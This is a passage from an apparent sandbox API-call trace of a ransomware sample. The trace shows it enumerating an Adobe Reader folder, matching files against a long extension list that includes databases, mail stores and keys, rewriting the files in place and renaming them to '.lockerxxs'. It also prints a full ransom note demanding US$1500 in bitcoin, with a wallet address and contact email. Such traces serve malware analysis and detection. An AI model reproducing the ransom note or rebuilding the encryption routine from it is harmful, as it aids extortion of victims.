10.0\\Reader\\IDTemplates\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" [0068.457] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned 63 [0068.457] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.459] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.459] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.459] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.459] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.459] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16097, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.459] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.476] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.476] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.476] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.476] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*.*") returned="*.*" [0068.476] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" [0068.476] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="" [0068.476] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt" [0068.476] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\how to decrypt files.txt")) returned 0xffffffff [0068.477] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.477] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.478] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.479] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.479] CloseHandle (hObject=0x94) returned 1 [0068.480] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.480] lstrlenA (lpString="*.ems") returned 5 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.480] lstrlenA (lpString="*.db") returned 4 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.480] lstrlenA (lpString="*.dbf") returned 5 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.480] lstrlenA (lpString="*.myox") returned 6 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.480] lstrlenA (lpString="*.myo") returned 5 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.480] lstrlenA (lpString="*.qbw") returned 5 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.480] lstrlenA (lpString="*.qbb") returned 5 [0068.480] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.480] lstrlenA (lpString="*.qbm") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.481] lstrlenA (lpString="*.qbo") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.481] lstrlenA (lpString="*.qbx") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.481] lstrlenA (lpString="*.qba") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.481] lstrlenA (lpString="*.qby") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.481] lstrlenA (lpString="*.qbj") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.481] lstrlenA (lpString="*.ofx") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.481] lstrlenA (lpString="*.qif") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.481] lstrlenA (lpString="*.mye") returned 5 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.481] lstrlenA (lpString="*.mbox") returned 6 [0068.481] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.481] lstrlenA (lpString="*.eml") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.482] lstrlenA (lpString="*.pst") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.482] lstrlenA (lpString="*.ost") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.482] lstrlenA (lpString="*.idx") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.482] lstrlenA (lpString="*.dbx") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.482] lstrlenA (lpString="*.sql") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.482] lstrlenA (lpString="*.mdb") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.482] lstrlenA (lpString="*.fdb") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.482] lstrlenA (lpString="*.wab") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.482] lstrlenA (lpString="*.dat") returned 5 [0068.482] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.482] lstrlenA (lpString="*.txt") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.483] lstrlenA (lpString="*.jpeg") returned 6 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.483] lstrlenA (lpString="*.jpg") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.483] lstrlenA (lpString="*.png") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.483] lstrlenA (lpString="*.php") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.483] lstrlenA (lpString="*.cs") returned 4 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.483] lstrlenA (lpString="*.cpp") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.483] lstrlenA (lpString="*.rar") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.483] lstrlenA (lpString="*.zip") returned 5 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.483] lstrlenA (lpString="*.html") returned 6 [0068.483] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.483] lstrlenA (lpString="*.htm") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.484] lstrlenA (lpString="*.xlsx") returned 6 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.484] lstrlenA (lpString="*.xls") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.484] lstrlenA (lpString="*.mp4") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.484] lstrlenA (lpString="*.ppt") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.484] lstrlenA (lpString="*.pptx") returned 6 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.484] lstrlenA (lpString="*.doc") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.484] lstrlenA (lpString="*.dot") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.484] lstrlenA (lpString="*.docx") returned 6 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.484] lstrlenA (lpString="*.7z") returned 4 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.484] lstrlenA (lpString="*.tar") returned 5 [0068.484] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.485] lstrlenA (lpString="*.bz2") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.485] lstrlenA (lpString="*.gz") returned 4 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.485] lstrlenA (lpString="*.mkv") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.485] lstrlenA (lpString="*.eml") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.485] lstrlenA (lpString="*.msg") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.485] lstrlenA (lpString="*.edb") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.485] lstrlenA (lpString="*.accdb") returned 7 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.485] lstrlenA (lpString="*.odb") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.485] lstrlenA (lpString="*.java") returned 6 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.485] lstrlenA (lpString="*.asm") returned 5 [0068.485] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.486] lstrlenA (lpString="*.pfx") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.486] lstrlenA (lpString="*.pem") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.486] lstrlenA (lpString="*.p12") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.486] lstrlenA (lpString="*.gpg") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.486] lstrlenA (lpString="*.vsd") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.486] lstrlenA (lpString="*.odg") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.486] lstrlenA (lpString="*.raw") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.486] lstrlenA (lpString="*.nef") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.486] lstrlenA (lpString="*.svg") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.486] lstrlenA (lpString="*.psd") returned 5 [0068.486] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.486] lstrlenA (lpString="*.vmx") returned 5 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.487] lstrlenA (lpString="*.vmdk") returned 6 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.487] lstrlenA (lpString="*.vdi") returned 5 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.487] lstrlenA (lpString="*.lay6") returned 6 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.487] lstrlenA (lpString="*.mpeg") returned 6 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.487] lstrlenA (lpString="*.djvu") returned 6 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.487] lstrlenA (lpString="*.tiff") returned 6 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.487] lstrlenA (lpString="*.backup") returned 8 [0068.487] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.487] lstrlenA (lpString="*.pdf") returned 5 [0068.487] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" [0068.487] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" [0068.487] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf." [0068.487] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.lockerxxs" [0068.487] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.488] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16097 [0068.488] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.488] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.488] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x16071, lpOverlapped=0x0) returned 1 [0068.493] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf") returned="AdobeID.pdf" [0068.493] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.493] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x16071, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x16071, lpOverlapped=0x0) returned 1 [0068.494] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.494] CloseHandle (hObject=0x94) returned 1 [0068.496] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.lockerxxs" (normalized: 